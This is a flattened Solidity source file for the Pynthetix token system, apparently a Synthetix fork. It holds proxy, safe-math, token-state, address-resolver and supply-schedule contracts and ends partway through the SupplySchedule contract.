Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.pynthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } // Inheritance // https://docs.pynthetix.io/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.pynthetix.io/contracts/source/contracts/tokenstate contract TokenState is Owned, State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party's behalf. */ function setAllowance( address tokenOwner, address spender, uint value ) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } // Inheritance // Libraries // Internal references // https://docs.pynthetix.io/contracts/source/contracts/externstatetoken contract ExternStateToken is Owned, Proxyable { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } // https://docs.pynthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getPynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.pynthetix.io/contracts/source/interfaces/ipynth interface IPynth { // Views function currencyKey() external view returns (bytes32); function transferablePynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Pynthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.pynthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availablePynthCount() external view returns (uint); function availablePynths(uint index) external view returns (IPynth); function canBurnPynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuablePynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuablePynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function pynths(bytes32 currencyKey) external view returns (IPynth); function getPynths(bytes32[] calldata currencyKeys) external view returns (IPynth[] memory); function pynthsByAddress(address pynthAddress) external view returns (bytes32); function totalIssuedPynths(bytes32 currencyKey, bool excludeEtherCollateral) external view returns (uint); function transferablePynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Pynthetix function issuePynths(address from, uint amount) external; function issuePynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxPynths(address from) external; function issueMaxPynthsOnBehalf(address issueFor, address from) external; function burnPynths(address from, uint amount) external; function burnPynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnPynthsToTarget(address from) external; function burnPynthsToTargetOnBehalf(address burnForAddress, address from) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getPynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.pynths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // solhint-disable payable-fallback // https://docs.pynthetix.io/contracts/source/contracts/readproxy contract ReadProxy is Owned { address public target; constructor(address _owner) public Owned(_owner) {} function setTarget(address _target) external onlyOwner { target = _target; emit TargetUpdated(target); } function() external { // The basics of a proxy read call // Note that msg.sender in the underlying will always be the address of this contract. assembly { calldatacopy(0, 0, calldatasize) // Use of staticcall - this will revert if the underlying function mutates state let result := staticcall(gas, sload(target_slot), 0, calldatasize, 0, 0) returndatacopy(0, 0, returndatasize) if iszero(result) { revert(0, returndatasize) } return(0, returndatasize) } } event TargetUpdated(address newTarget); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress( name, string(abi.encodePacked("Resolver missing target: ", name)) ); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } interface IVirtualPynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function pynth() external view returns (IPynth); // Mutative functions function settle(address account) external; } // https://docs.pynthetix.io/contracts/source/interfaces/ipynthetix interface IPynthetix { // Views function anyPynthOrPERIRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availablePynthCount() external view returns (uint); function availablePynths(uint index) external view returns (IPynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 currencyKey) external view returns (bool); function maxIssuablePynths(address issuer) external view returns (uint maxIssuable); function remainingIssuablePynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function pynths(bytes32 currencyKey) external view returns (IPynth); function pynthsByAddress(address pynthAddress) external view returns (bytes32); function totalIssuedPynths(bytes32 currencyKey) external view returns (uint); function totalIssuedPynthsExcludeEtherCollateral(bytes32 currencyKey) external view returns (uint); function transferablePERI(address account) external view returns (uint transferable); // Mutative Functions function burnPynths(uint amount) external; function burnPynthsOnBehalf(address burnForAddress, uint amount) external; function burnPynthsToTarget() external; function burnPynthsToTargetOnBehalf(address burnForAddress) external; function exchange( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualPynth vPynth); function issueMaxPynths() external; function issueMaxPynthsOnBehalf(address issueForAddress) external; function issuePynths(uint amount) external; function issuePynthsOnBehalf(address issueForAddress, uint amount) external; function mint() external returns (bool); function settle(bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function liquidateDelinquentAccount(address account, uint susdAmount) external returns (bool); // Restricted Functions function mintSecondary(address account, uint amount) external; function mintSecondaryRewards(uint amount) external; function burnSecondary(address account, uint amount) external; } // https://docs.pynthetix.io/contracts/source/interfaces/ipynthetixstate interface IPynthetixState { // Views function debtLedger(uint index) external view returns (uint); function issuanceData(address account) external view returns (uint initialDebtOwnership, uint debtEntryIndex); function debtLedgerLength() external view returns (uint); function hasIssued(address account) external view returns (bool); function lastDebtLedgerEntry() external view returns (uint); // Mutative functions function incrementTotalIssuerCount() external; function decrementTotalIssuerCount() external; function setCurrentIssuanceData(address account, uint initialDebtOwnership) external; function appendDebtLedgerValue(uint value) external; function clearIssuanceData(address account) external; } // https://docs.pynthetix.io/contracts/source/interfaces/isystemstatus interface ISystemStatus { struct Status { bool canSuspend; bool canResume; } struct Suspension { bool suspended; // reason is an integer code, // 0 => no reason, 1 => upgrading, 2+ => defined by system usage uint248 reason; } // Views function accessControl(bytes32 section, address account) external view returns (bool canSuspend, bool canResume); function requireSystemActive() external view; function requireIssuanceActive() external view; function requireExchangeActive() external view; function requirePynthActive(bytes32 currencyKey) external view; function requirePynthsActive(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view; function pynthSuspension(bytes32 currencyKey) external view returns (bool suspended, uint248 reason); // Restricted functions function suspendPynth(bytes32 currencyKey, uint256 reason) external; function updateAccessControl( bytes32 section, address account, bool canSuspend, bool canResume ) external; } // https://docs.pynthetix.io/contracts/source/interfaces/iexchanger interface IExchanger { // Views function calculateAmountAfterSettlement( address from, bytes32 currencyKey, uint amount, uint refunded ) external view returns (uint amountAfterSettlement); function isPynthRateInvalid(bytes32 currencyKey) external view returns (bool); function maxSecsLeftInWaitingPeriod(address account, bytes32 currencyKey) external view returns (uint); function settlementOwing(address account, bytes32 currencyKey) external view returns ( uint reclaimAmount, uint rebateAmount, uint numEntries ); function hasWaitingPeriodOrSettlementOwing(address account, bytes32 currencyKey) external view returns (bool); function feeRateForExchange(bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey) external view returns (uint exchangeFeeRate); function getAmountsForExchange( uint sourceAmount, bytes32 sourceCurrencyKey, bytes32 destinationCurrencyKey ) external view returns ( uint amountReceived, uint fee, uint exchangeFeeRate ); function priceDeviationThresholdFactor() external view returns (uint); function waitingPeriodSecs() external view returns (uint); // Mutative functions function exchange( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress ) external returns (uint amountReceived); function exchangeOnBehalf( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey ) external returns (uint amountReceived); function exchangeWithTracking( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeOnBehalfWithTracking( address exchangeForAddress, address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address originator, bytes32 trackingCode ) external returns (uint amountReceived); function exchangeWithVirtual( address from, bytes32 sourceCurrencyKey, uint sourceAmount, bytes32 destinationCurrencyKey, address destinationAddress, bytes32 trackingCode ) external returns (uint amountReceived, IVirtualPynth vPynth); function settle(address from, bytes32 currencyKey) external returns ( uint reclaimed, uint refunded, uint numEntries ); function setLastExchangeRateForPynth(bytes32 currencyKey, uint rate) external; function suspendPynthWithInvalidRate(bytes32 currencyKey) external; } // https://docs.pynthetix.io/contracts/source/interfaces/isupplyschedule interface ISupplySchedule { // Views function mintableSupply() external view returns (uint); function isMintable() external view returns (bool); // Mutative functions function recordMintEvent(uint supplyMinted) external returns (bool); } // Libraries // https://docs.pynthetix.io/contracts/source/libraries/math library Math { using SafeMath for uint; using SafeDecimalMath for uint; /** * @dev Uses "exponentiation by squaring" algorithm where cost is 0(logN) * vs 0(N) for naive repeated multiplication. * Calculates x^n with x as fixed-point and n as regular unsigned int. * Calculates to 18 digits of precision with SafeDecimalMath.unit() */ function powDecimal(uint x, uint n) internal pure returns (uint) { // https://mpark.github.io/programming/2014/08/18/exponentiation-by-squaring/ uint result = SafeDecimalMath.unit(); while (n > 0) { if (n % 2 != 0) { result = result.multiplyDecimal(x); } x = x.multiplyDecimal(x); n /= 2; } return result; } } // Inheritance // Libraries // Internal references // https://docs.pynthetix.io/contracts/source/contracts/supplyschedule contract SupplySchedule is Owned, ISupplySchedule { using SafeMath for uint; using SafeDecimalMath for uint; using Math for uint; // Time of the last inflation supply mint event uint public lastMintEvent; // Counter for number of weeks since the start of supply inflation uint public weekCounter; // The number of PERI rewarded to the caller of Pynthetix.mint() uint public minterReward = 200 * SafeDecimalMath.unit(); // The initial weekly inflationary supply is 75m / 52 until the start of the decay rate. // 75e6 * SafeDecimalMath.unit() / 52 uint public constant INITIAL_WEEKLY_SUPPLY = 47058823529411764705882; // Address of the PynthetixProxy for the onlyPynthetix modifier address payable public pynthetixProxy; // Max PERI rewards for minter uint public constant MAX_MINTER_REWARD = 400000 * 1e18; // How long each inflation period is before mint can be called uint public constant MINT_PERIOD_DURATION = 1 weeks; uint public constant INFLATION_START_DATE = 1610214826; // 2019-03-06T00:00:00+00:00 uint public constant MINT_BUFFER = 1 days; uint8 public constant SUPPLY_DECAY_START = 52; // Week 52 uint8 public constant SUPPLY_DECAY_END = 234; // Supply Decay ends on Week 234 (inclusive of Week 234 for a total of 195 weeks of inflation decay) // Weekly percentage decay of inflationary supply from the first 40 weeks of the 75% inflation rate uint public constant DECAY_RATE = 12500000000000000; // 1.25% weekly // Percentage growth of terminal supply per annum uint public constant TERMINAL_SUPPLY_RATE_ANNUAL = 50000000000000000; // 5% pa constructor( address _owner, uint _lastMintEvent, uint _currentWeek ) public Owned(_owner) { lastMintEvent = _lastMintEvent; weekCounter = _currentWeek; } // ========== VIEWS ========== /** * @return The amount of PERI mintable for the inflationary supply */ function mintableSupply() external view returns (uint) { uint totalAmount; if (!isMintable()) { return totalAmount; } uint remainingWeeksToMint = weeksSinceLastIssuance(); uint currentWeek = weekCounter; // Calculate total mintable supply from exponential decay function // The decay function stops after week 234 while (remainingWeeksToMint > 0) { currentWeek++; if (currentWeek < SUPPLY_DECAY_START) { // If current week is before supply decay we add initial supply to mintableSupply totalAmount = totalAmount.add(INITIAL_WEEKLY_SUPPLY); remainingWeeksToMint--; } else if (currentWeek <= SUPPLY_DECAY_END) { // if current week before supply decay ends we add the new supply for the week // diff between current week and (supply decay start week - 1) uint decayCount = currentWeek.sub(SUPPLY_DECAY_START - 1); totalAmount = totalAmount.add(tokenDecaySupplyForWeek(decayCount)); remainingWeeksToMint--; } else { // Terminal supply is calculated on the total supply of Pynthetix including any new supply // We can compound the remaining week's supply at the fixed terminal rate uint totalSupply = IERC20(pynthetixProxy).totalSupply(); uint currentTotalSupply = totalSupply.add(totalAmount); totalAmount = totalAmount.add(terminalInflationSupply(currentTotalSupply, remainingWeeksToMint)); remainingWeeksToMint = 0; } } return totalAmount; } /** * @return A unit amount of decaying inflationary supply from the INITIAL_WEEKLY_SUPPLY * @dev New token supply reduces by the decay rate each week calculated as supply = INITIAL_WEEKLY_SUPPLY * () */ function tokenDecaySupplyForWeek(uint counter) public pure returns (uint) { // Apply exponential decay function to number of weeks since // start of inflation smoothing to calculate diminishing supply for the week. uint effectiveDecay = (SafeDecimalMath.unit().sub(DECAY_RATE)).powDecimal(counter); uint supplyForWeek = INITIAL_WEEKLY_SUPPLY.multiplyDecimal(effectiveDecay); return supplyForWeek; } /** * @return A unit amount of terminal inflation supply * @dev Weekly compound rate based on number of weeks */ function terminalInflationSupply(uint totalSupply, uint numOfWeeks) public pure returns (uint) { // rate = (1 + weekly rate) ^ num of weeks uint effectiveCompoundRate = SafeDecimalMath.unit().add(TERMINAL_SUPPLY_RATE_ANNUAL.div(52)).powDecimal(numOfWeeks); // return Supply * (effectiveRate - 1) for extra supply to issue based on number of weeks return totalSupply.multiplyDecimal(effectiveCompoundRate.sub(SafeDecimalMath.unit())); } /** * @dev Take timeDiff in seconds (Dividend) and MINT_PERIOD_DURATION as (Divisor) * @return Calculate the numberOfWeeks since last mint rounded down to 1 week */ function weeksSinceLastIssuance() public view returns (uint) { // Get weeks since 